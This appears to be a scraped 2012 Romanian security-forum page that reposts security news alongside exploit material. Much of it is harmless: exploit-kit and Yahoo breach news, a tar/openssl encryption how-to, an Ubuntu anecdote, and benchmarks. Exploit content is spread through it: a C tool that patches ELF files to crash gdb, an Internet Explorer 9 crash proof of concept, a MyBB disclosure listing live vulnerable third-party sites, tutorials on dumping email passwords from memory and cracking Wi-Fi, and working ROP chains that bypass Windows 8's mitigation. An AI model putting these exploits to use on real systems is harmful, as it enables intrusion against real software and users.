+ debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header)); } // Synchronize the ELF in file system with the previous memory mapped if(msync(elfptr, 0, MS_SYNC) == -1){ perror("msync"); close(fd); exit(-1); } close(fd); munmap(elfptr, 0); printf(" [*] \"%s\" is now completely patched\n", argv[1]); printf(" [*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]); return 0; } int isELF(int fd) { Elf32_Ehdr header; if(read(fd, &header, sizeof(header)) == -1){ perror("isELF(): read"); return 0; } /* magic number verification */ if(header.e_ident[EI_MAG0] != ELFMAG0 || header.e_ident[EI_MAG1] != 'E' || header.e_ident[EI_MAG2] != 'L' || header.e_ident[EI_MAG3] != 'F'){ fprintf(stderr, "The argument given is not an ELF file !\n"); return 0; } /* 32-bit class verification */ if(header.e_ident[EI_CLASS] != ELFCLASS32){ fprintf(stderr, "Only 32-bit ELF files supported !\n"); return 0; } /* little-endian verification */ if(header.e_ident[EI_DATA] != ELFDATA2LSB){ fprintf(stderr, "Only little-endian ELF files supported !\n"); return 0; } return 1; } Sursa: GNU Debugger 7.5.1 NULL Pointer Dereference ? Packet Storm

[h=1]New Exploit Kit “Sweet Orange” Offers Higher Infection Rates[/h]Posted by: FastFlux on December 19, 2012 The newly emerging Sweet Orange Exploit pack boasts a 10 to 25 percent infection rate and is promising to drive 150,000 unique visitors per day to the websites of its customers, according to Jeff Doty and Chris Larsen of Blue Coat Security. If the claims of Sweet Orange’s writers are telling th truth, users of the kit can look to add anywhere between 15,000 and 37,500 machines to their botnet every 24 hours. Sweet Orange has 45 dedicated IP addresses and 267 unique domains, which Doty and Larsen claim is enough to generate the promised 150,000 daily unique views. The Blue Coat investigators ran a sample of 20 of Sweet Orange’s URLs through the VirusTotal and found that just seven were detected. The IPs returned even worse results, out only 20 IP addresses, VirusTotal recognized zero. Sursa: New Exploit Kit “Sweet Orange” Offers Higher Infection Rates | ZeroSecurity

[h=2]HTTP Methods Identification[/h] This is a small script that uses netcat in order to connect to a remote web server and to discover which HTTP methods supports.You can see below the source code: #!/bin/bash for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND; do printf "$webservmethod " ; printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1" done Source Code In the next image you can see the script in use: Demonstration Sursa: HTTP Methods Identification

[h=2]MyBB 1.6.9 full path disclosure[/h] MyBB has released its update on 15th December. MyBB 1.6.9 is still affected with full path disclosure vulnerablity author : cyb3rboy website: freemium-devils.in code104.net greetz cyberace, ketan , shubham , S3v3n , th3 d3stroyer , amol the following path was found vulnerable to full path disclosure /inc/3rdparty/diff/Diff/Engine/xdiff.php /inc/3rdparty/diff/Diff/Engine/native.php /inc/3rdparty/diff/Diff/ThreeWay.php /inc/3rdparty/diff/Diff/Renderer.php /inc/3rdparty/diff/Diff/Mapped.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Engine/xdiff.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Engine/native.php http://netsoccer.eu/forum//inc/3rdparty/diff/Diff/ThreeWay.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Renderer.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Mapped.php http://shark007.net/forum/inc/3rdparty/diff/Diff/ThreeWay.php http://shark007.net/forum//inc/3rdparty/diff/Diff/Mapped.php http://www.mybbgm.com/inc/3rdparty/diff/Diff/Mapped.php http://www.mybbgm.com/inc/3rdparty/diff/Diff/ThreeWay.php # 1337day.com [2012-12-20] Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

[h=1]Yahoo Hacked[/h][h=3]Hacker ViruS_HimA says he was able to access 12 company databases and full file backups for one of Yahoo's domains. [/h] By Jeff Goldman | December 19, 2012 Egyptian hacker ViruS_HimA recently published information on a series of Yahoo security flaws that provided him with access to full file backups for one of Yahoo's domains, along with full access to 12 company databases. "The hacker ... published screenshots that showed the purported site backups for a Yahoo! finance subdomain," writes CRN's Darren Pauli. "The hacker claimed to have accessed the databases via a reflected cross site scripting vulnerability which he said was fixed by Yahoo!. He also said he discovered a SQL Injection hole." "ViruS_HimA said ... that as a professional security tester and researcher, his black-hat hacking days were behind him," writes TechNewsDaily's Ben Weitzenkorn. "Whenever he finds vulnerabilities he reports them straight to the vendor, he said. ... [Yahoo's] alleged non-response prompted ViruS_HimA to go public with the data breach, which, he claimed, gave him access to a 'full file backup,' access to 12 Yahoo databases and the ability to exploit a cross-site scripting flaw. If ViruS_HimA is to be taken at his word, Yahoo's customers are extremely lucky. Had a cyberthief gone that deep into Yahoo's digital bowels, he would have had access to very sensitive user data that may have included email address and passwords as well as bank card information." "Yahoo is investigating the claims," writes The Next Web's Emil Protalinski. "The company says it has no reason to believe users have been affected at this time. 'Thanks for contacting us regarding this matter,' a Yahoo spokesperson said in a statement. 'At Yahoo! we take security very seriously and invest heavily in measures to protect our users and their data. We are aware of a recent online posting regarding vulnerabilities in our systems. We are investigating these claims and will work diligently to fix any vulnerabilities that are found. At this time, we confirm that there has been no user impact associated with these claims.'" Sursa: Yahoo Hacked - eSecurity Planet

Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability From: pereira () secbiz de Date: Wed, 19 Dec 2012 15:40:46 GMT ----------------------------------------------------------------------- Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability ----------------------------------------------------------------------- Author: Jean Pascal Pereira <pereira () secbiz de> Vendor: Microsoft Internet Explorer 9.x and below Description: The application is prone to a remote stack overflow vulnerability. Successful exploitation may lead to arbitrary code execution. ---------------------------------------------------------------------- Proof Of Concept: ---------------------------------------------------------------------- <table></for xmlns="1"> <td><datetime><colgroup> <id><dd><col> </table><object> <hr><base> ---------------------------------------------------------------------- Register Dump: ---------------------------------------------------------------------- EAX 800706BE ECX 763FCDB3 RPCRT4.763FCDB3 EDX 00000000 EBX 0604393C ESP 003FDDD4 EBP 003FDDE0 ESI 003FDE30 EDI 761AFA10 ole32.761AFA10 EIP 7629CF51 ole32.7629CF51 ---------------------------------------------------------------------- Crash Instruction: ---------------------------------------------------------------------- 7629CF36 8B4D E4 MOV ECX,DWORD PTR SS:[EBP-1C] 7629CF39 24 04 AND AL,4 7629CF3B 0FB6C0 MOVZX EAX,AL 7629CF3E F7D8 NEG EAX 7629CF40 1BC0 SBB EAX,EAX 7629CF42 25 0A010180 AND EAX,8001010A 7629CF47 8901 MOV DWORD PTR DS:[ECX],EAX 7629CF49 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18] 7629CF4C 50 PUSH EAX 7629CF4D 53 PUSH EBX 7629CF4E 8975 D8 MOV DWORD PTR SS:[EBP-28],ESI 7629CF51 FF70 5C PUSH DWORD PTR DS:[EAX+5C] ---------------------------------------------------------------------- At 0x7629CF51, a read access violation occurs. ---------------------------------------------------------------------- Jean Pascal Pereira <pereira () secbiz de> || 0xffe4 Copy: #627968 • KDE Pastebin Sursa: Bugtraq: Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability

[h=3]Eighth Installment: compress and encrypt/decrypt a directory[/h][h=2]Wednesday, December 19, 2012[/h]I recently visited a relative who is studying in the natural sciences and who, surprisingly, is even less capable in certain technical aspects of computing than I am. He was trying to create, on his Mac, a script that would run as a cron job, and asked me for some pointers. Though I know the basics about cron and was willing to pitch in, I wasn't so sure about the script: you see, calling my bash skills rudimentary would be high praise. Nonetheless I decided that, with some web searching, I might be able to assist with that, too. Sure enough, I was able to find just the sort of information that would help us create a script that would tar and compress, then encrypt, a target directory. Details--shamelessly lifted from various locales on the web--are included below. Over the years that I've been using Linux I have, of course, read more than a few articles that describe methods of encrypting files or partitions. Most recently, for example, there appeared on Lxer an article that described a clever way of encrypting a local directory that then gets backed up to some cloud storage service like dropbox. I've bumped up against the issue of encryption when doing fresh installations as well, as it has been the case for some time now that an option is given on installation for many Linux distros of encrypting, for example, the /home directory. Despite reading at least some of those articles with interest, I did not feel the need to implement such encryption on my own systems. So it was not until someone else asked my assistance in doing something like this that I actually tried it myself. As you will see, it was actually fairly simple to implement. But first, a few caveats. I'll skip any details in the following description regarding the cron aspect of this project--not that I could provide a whole lot of enlightenment anyway--other than to say that it's a handy way to make programs or processes run on a set schedule on computers than run *nix. One way I've used it is to cause a weather map, which I've set up as the desktop background on one of my computers, to update every 10 minutes--look for a future entry in this blog on how I managed that. I'll also not speak in any depth about another ingredient in this recipe--tar--other than to say that it is an abbreviation for for "tape archive." I myself do not understand its workings terribly well, though I've used it on several occasions. I will mention on a related note, however, that, in my research, I ran across articles that used another, similar, utility--dd (an abbreviation for "disk dump")--to create compressed and encrypted archives. But I did not follow up on the dd option and so cannot post any further information about how that was done. Finally, I can't speak in any depth about the program I used for doing the encryption--openssl--or about another program with which I experimented and which also does encryption--gpg. But I promise, despite those rather glaring deficits, that I will describe something I managed to accomplish and which you, too, should be able to accomplish by following the steps outlined. Perhaps in some future entry for this blog I'll be able to further explore tar, dd, and/or cron. But for now I'm going to focus my attention mainly on the option we ended up using, which involved mainly tar and openssl. The relative in question, as I mentioned, works in the natural sciences. He has a directory of his ongoing work that he wants to back up regularly, but to which he does not want anyone else to have access. His choice for backing up beyond his own PC, is to use dropbox. So the task was, as mentioned, to compress and encrypt the target directory: moving it to the location on the local machine where dropbox would find it so as to back it up will also not be covered in this write-up, though that step did end up being part of his final resolution. So, what's left? It was quite easy to find directions of the web for doing all this. I pretty much went with the first workable solution I found, which came from the linuxquestions forum (the relevant thread can be found here). The incantation we used was as follows: tar -cj target-dir | openssl enc -aes128 -salt -out target-dir.tar.bz2.enc -e -a -k password What that line does may be evident to most, but I will offer a bit of review nonetheless. The target directory is first tar'red and compressed with bzip, (the c option stands for "create" and the j option specifies that the created file should be compressed with bzip2) then it is piped to openssl for encryption. The word "password" is, obviously, to be replaced by whatever password the user chooses. One possible drawback to this method, as pointed out in the thread from which I lifted it, is that the encryption password gets entered, in plain text, right on the command line (which is slightly less of an issue with a cron script such as we were creating). Thus, anyone who can gain access to the machine can, by using the command line history, see what the encryption password was. Since someone gaining access to his computer and viewing the command line history was not a concern for the fellow I was helping, this is the solution we implemented. But that potential concern can be easily remedied by simply leaving off the -k password switch at the end, which has the effect of prompting the user for a password, which does not get echoed to the command line. To decrypt the file, the following command--which prompts for the password--is used: openssl enc -aes128 -in target-dir.tar.bz2.enc -out target-dir.tar.bz2 -d -a The file can then be uncompressed and untar'red. This part of the process could likely be reduced from two steps (decryption, then uncompression/untar'ing) to one by using a pipe, but since it was presumed, for purposes of this project, that the file would act simply as insurance against loss--the need for ever actually recovering the content being very unlikely--I did not pursue streamlining that aspect. I did manage to find and test a couple of other variants which I will offer here as well. The second variant was found here, and follows: tar -cj target-dir | openssl enc -e -a -salt -bf -out target-dir.blowfish It is much the same as the first variant, though it uses a different encryption method called blowfish. I am uncertain which of these two encryption schemes is considered better. To decrypt the compressed directory, the following command is used: openssl enc -d -a -bf -in target-dir.blowfish -out target-dir-decrypt.tar.bz2 Finally, I discovered yet another variant, details about which can be found here. A sample of how to use this one is as follows: tar -cjf target-dir.tar.bz2 target-dir/ | gpg -r user -e target-dir.tar.bz2 As will be noted, this variant uses gpg to encrypt the directory. Of course user must be replaced by the name of someone who has a valid gpg key on the system, usually the primary user of said machine or account. An interesting feature I discovered about this method is that a time sensitive gpg key can be created, i.e., one that expires after a certain interval. If I understand correctly how this works, once the key expires, the directory can no longer be decrypted. This feature should, obviously, be used with care. Decrypting the directory can be done in the following way: gpg --output target-dir.tar.bz2 --decrypt target-dir.tar.bz2.gpg The same two-step process of decrypting, then untar'ing/uncompressing, applies to these two methods as well. This sums up what I have to offer in this entry. Now that winter is upon us northern-hemispherers, I may be able to post more frequent entries. There are a few things I've been wanting to document for some time now. Sursa: Field Notes of an Audacious Amateur: Eighth Installment: compress and encrypt/decrypt a directory

[h=1]Linux is ready: How my wife switched to Ubuntu[/h] [h=6]Written by Guillermo Garron .[/h] Date: 2012-12-14 22:02:35 -0400 Here is a story about how Ubuntu could replace Windows as the main operating system on a non-tech-savvy user’s laptop. I think Linux, though perhaps lacking some essential software for business use is ready for every home. How my wife switched completely to Ubuntu It’s been years since I’ve used Windows on my own computer. But my wife, well, that’s a different story. She’s not the kind of user who likes how “hard” is to use my machines running Debian or Arch. So I had Windows installed for her on the home PC and on her laptop. I was constantly cleaning, re-installing, fighting viruses, etc. due to Windows’ infamous weaknesses in these areas. Well, a year ago, when she needed to travel to Buenos Aires for six months, I had Ubuntu 11.10 installed on her laptop alongside Windows, and asked her to see if she could use just Ubuntu, reassuring her that this way she wouldn’t have to worry about getting it fixed because it wouldn’t be able to break. Her basic needs for the laptop were Skype (to stay in touch), Gmail, Office documents (via LibreOffice), and browsing the internet. She even managed (with my guidance) to install and configure Ekiga to use a local SIP provider and call home at “local” rates Her whole time in Buenos Aires, she managed to use Ubuntu exclusively (save for Netflix, but that’s no longer an issue) When she finally returned home, she continued to use Ubuntu as her sole operating system, and I have already upgraded her to 12.04, and will soon upgrade to 12.10, which is what I have running on my own PC and which is awesome. My wife only knows how to use computers, not how to set it up or anything (she’s a biochemist, not a computer scientist). That’s my job. I think this example shows that Ubuntu is easy enough to use and understand that if it came preinstalled on more consumer machines instead of Windows, it would fit in well with modern consumers’ needs. It may even start to become a standard Sursa: Linux is ready: How my wife switched to Ubuntu

[h=1]FreeBSD/PC-BSD 9.1 Benchmarked Against Linux, Solaris, BSD[/h]Published on December 19, 2012 Written by Michael Larabel While FreeBSD 9.1 has yet to be officially released, the FreeBSD-based PC-BSD 9.1 "Isotope" release has already been made available this month. In this article are performance benchmarks comparing the 64-bit release of PC-BSD 9.1 against DragonFlyBSD 3.0.3, Oracle Solaris Express 11.1, CentOS 6.3, Ubuntu 12.10, and a development snapshot of Ubuntu 13.04. Unfortunately in this article are not benchmarks of PC-BSD/FreeBSD 9.0 or 8.2 because the high-end Intel system being used for this cross-OS benchmarking had encountered problems when booting the earlier installer media due to FreeBSD kernel problems. A PC-BSD/FreeBSD comparison of the different releases will come at a later date. The same Intel Core i7 3960X "Extreme Edition" system was used throughout the benchmarking process of PC-BSD/FreeBSD, DragonFlyBSD, Solaris Express, CentOS, and Ubuntu Linux. The stock settings were used on each of the platforms and the 64-bit images were used of each operating system. ............................................................................................................ Benchmark: http://www.phoronix.com/scan.php?page=article&item=pcbsd_91_preview&num=1

Da, votati. Vedem in weekend.

Genial!

Exploiting All Remote Vulnerability In Metasploitable - 2 Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . So I’m going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. VSFTPD v2.3.4 Backdoor Command Execution | Metasploit Exploit Database (DB) This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. PHP CGI Argument Injection | Metasploit Exploit Database (DB) When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." Distributed Ruby Send instance_eval/syscall Code Execution | Metasploit Exploit Database (DB) This module exploits remote code execution vulnerabilities in dRuby Samba "username map script" Command Execution | Metasploit Exploit Database (DB) This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! DistCC Daemon Command Execution | Metasploit Exploit Database (DB) This module uses a documented security weakness to execute arbitrary commands on any system running distccd. Java RMI Server Insecure Default Configuration Java Code Execution | Metasploit Exploit Database (DB) This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. Source : - Penetration Testing Software | Metasploit Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Exploiting All Remote Vulnerability In Metasploitable - 2

Dump Hotmail, Yahoo, Gmail Passwords From The Memory escription: In this video I will show you how to Dump a memory using Dumpit tool and how to find Email ID password Using WinHex tool. In this video I will first login to my email id on Yahoo, Hotmail, and Gmail then I will use Dumpit tool for Dump the Memory and That memory I am going to use in WinHex tool for finding out the passwords. Process is very simple but very powerful – tool is also very lite but working like a charm. Tools : - DumpIT and WinHex MoonSols Windows Memory Toolkit | MoonSols WinHex: Hex Editor & Disk Editor, Computer Forensics & Data Recovery Software Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Dump Hotmail, Yahoo, Gmail Passwords From The Memory

[h=3]teb32 of wow64 process[/h]It seems that internet is full of wrong recipes how to get subj (like this one - true anal surgery IMHO) Actually answer is very simple - TEB32 is always located at offset 0x2000 after TEB Proofs Lets see for example function NtSetInformationThread in kernel for THREADINFOCLASS .eq. ThreadZeroTlsCell: mov rcx, [r8+0F0h] ; load _KTHREAD.Teb in rcx test rcx, rcx jz loc_1403E521A mov rax, [rbx+418h] ; EPROCESS.Wow64Process test rax, rax jz short loc_1403E5178 ; not wow64 process lea r9, [rcx+2000h] ; wow64 process - load TEB32 loc_1403E5178: mov edx, [rsp+118h+var_AC] cmp edx, 40h jnb short loc_1403E519F test rax, rax ; again check for wow64 process jnz short loc_1403E5190 mov [rcx+rdx*8+1480h], rsi ; store to TEB.TlsSlots[rdx] loc_1403E5190: test r9, r9 jz short loc_1403E520A mov [r9+rdx*4+0E10h], esi ; store to TEB32.TlsSlots[rdx] Next lets check MmCreateTeb function: mov ebx, 1820h ; sizeof(TEB) mov rax, [rcx+418h] ; EPROCESS.Wow64Process mov [rsp+98h+var_78], rax mov ecx, 2FE8h ; sizeof(TEB) rounded to page size + sizeof(TEB32) test rax, rax ; check if this process is wow64 cmovnz ebx, ecx ; if yes apply size for both TEBs lea rdx, [rsp+98h+var_60] mov rcx, r12 call KeStackAttachProcess lea r9, [rsp+98h+var_70] mov r8d, ebx ; use this size as 3rd argument to MiCreatePebOrTeb mov rdx, rdi mov rcx, r12 call MiCreatePebOrTeb Sursa: ?????? ??????: teb32 of wow64 process

Cracking WEP, WPA and WPA2 Encrypted Wifi Networks using Aircrack-ng. Tutorial by Akatzbreaker In this tutorial I will demonstrate you how to crack almost any Encrypted Network that uses WEP, WPA and WPA2. 1. Before we start. Take into account the Disclaimer at this page: More from the G.N.A. Hack Team What we need: Mac and Windows: I would recommend to Install Backtrack or Ubuntu on a VMWare virtual machine. Linux: sudo apt-get install aircrack-ng airmon-ng airodump-ng aireplay-ng kismet (Recommended Download for Linux Users – It auto configures the tools needed) Backtrack: NOTHING! Every is included by default….. NOTE: The pictures included in the tutorial are NOT mine…. ......................................................................................................... Articol: https://gnahackteam.wordpress.com/2012/03/04/cracking-encrypted-networks-using-aircrack-ng/

[h=1]Botnets for the Masses[/h] Not so long ago, aspiring bot-herders, who wanted to get started with a botnet of their own, would have to hang out in the right circles or learn how to make one themselves. If they hung out in the right circles they would be provided with guidance and documentation to get started. If they were creative enough and had enough time and skill they could create their own from scratch. But what if they didn’t have this skill set, or didn’t hang out in the right circles? Just like everything else, they could pay to have someone do it for them. The following examples of crimeware kits for sale have been found in various places on the Internet. Due to various reasons including, enabling the practice of crimeware and legal issues, we cannot confirm that the items being sold are legitimate. Some have the characteristics of a scam due to inaccuracies in the description (old versions being touted as new) or pricing that does not reflect the going market rate. Many of you reading this are probably wondering how these individuals are able to advertise and peddle their services, which are completely illegal, out in the open. These transactions often occur in the underground, or “deep web,” but sometimes happen out in the open web as well. The transactions usually happen on forums where people know each other, but we are seeing some on sites that sell other goods as well. You are probably wondering if this is all a scam. Perhaps, most of the crimeware kit sellers are out for a quick profit, but some of these sites discussed below have a feedback system. Just like an auction and community selling website, a fraudster is not going to last long and will not profit in the long run with a bad reputation. But again, keep in mind that reviews can be from forged accounts or from friends. Most people who stumble upon the following site would be surprised at the nice interface and professionalism. In addition to illicit items, users can find various categories of interest. Unlike traditional selling methods seen in the past on underground forums (such as private messages), this site caters to those looking for a range of illegal goods. In this case, we are going to focus on what is under the "Services – Hacking" section. Figure 1. Market control interface The screen shot below shows a seller offering “Zeus Fully Setup Botnet + Bulletproof Hosting”. The site, as you can see, is professional looking and has an interface that rivals legitimate e-commerce and auction sites. Sursa: Botnets for the Masses | Symantec Connect Community

[h=1]Defeating Windows 8 ROP Mitigation[/h]Posted on 19 Desember 2012 by c0decstuff Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP). Return-Oriented Programming For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker. Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist. A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run. Windows 8 ROP Mitigation Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu: char __cdecl PsValidateUserStack() { char Status; // al@1 _KTRAP_FRAME *TrapFrame; // ecx@3 _TEB *Teb; // ecx@3 void *.Eip; // [sp+10h] [bp-88h]@3 unsigned int .Esp; // [sp+14h] [bp-84h]@3 void *StackLimit; // [sp+18h] [bp-80h]@3 void *StackBase; // [sp+1Ch] [bp-7Ch]@3 _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6 CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3 CurrentThread = (_ETHREAD *)__readfsdword(0x124u); Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User if ( Status ) { __asm { bt dword ptr [edx+58h], 13h } // // KernelStackResident, ReadyTransition, Alertable Status = _CF; if ( _CF != 1 ) { TrapFrame = CurrentThread->Tcb.TrapFrame; .Esp = TrapFrame->HardwareEsp; .Eip = (void *)TrapFrame->Eip; Teb = (_TEB *)CurrentThread->Tcb.Teb; ms_exc.disabled = 0; StackLimit = Teb->DeallocationStack; StackBase = Teb->NtTib.StackBase; ms_exc.disabled = -2; Status = .Esp; if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase ) { memset(&ExitStatus, 0, 0x50u); ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN; ExitStatus.ExceptionAddress = .Eip; ExitStatus.NumberParameters = 2; ExitStatus.ExceptionInformation[0] = 4; ExitStatus.ExceptionInformation[1] = .Esp; Status = DbgkForwardException(&ExitStatus, 1, 1); if ( !Status ) { Status = DbgkForwardException(&ExitStatus, 0, 1); if ( !Status ) Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode); } } } } return Status; } As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime. Bypassing the Mitigation To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following: xchg esi, esp retn In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload: rop = [ rop_base + 0x1022, # retn # Call VirtualProtect() rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x29d13, # jmp eax rop_base + 0x1022, # retn heap & ~0xfff, # lpAddress 0x60000, # dwSize 0x40, # flNewProtect heap - 0x1000, # lpfOldProtect # Enough of this ROP business... rop_base + 0xdace8 # push esp; retn This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode. Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload: rop = [ rop_base + 0x1022, # retn # Write lpfOldProtect rop_base + 0x2c283, # pop eax; retn heap - 0x1000, # lpfOldProtect -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write flNewProtect rop_base + 0x2c283, # pop eax; retn 0x40, # flNewProtect -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write dwSize rop_base + 0x2c283, # pop eax; retn 0x60000, # dwSize -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write lpAddress rop_base + 0x2c283, # pop eax; retn heap & ~0xfff, # lpAddress -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write &Pivot rop_base + 0x2c283, # pop eax; retn rop_base + 0x229a5, # &pivot -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write &VirtualProtect rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x1db4f, # mov [esi],eax; retn # Pivot ESP rop_base + 0x229a5, # xchg esi,esp; retn; # Jump into shellcode rop_base + 0xdace8 # push esp; retn ] This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect. In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead. Sursa: http://c0decstuff.blogspot.ro/2012/12/defeating-windows-8-rop-mitigation.html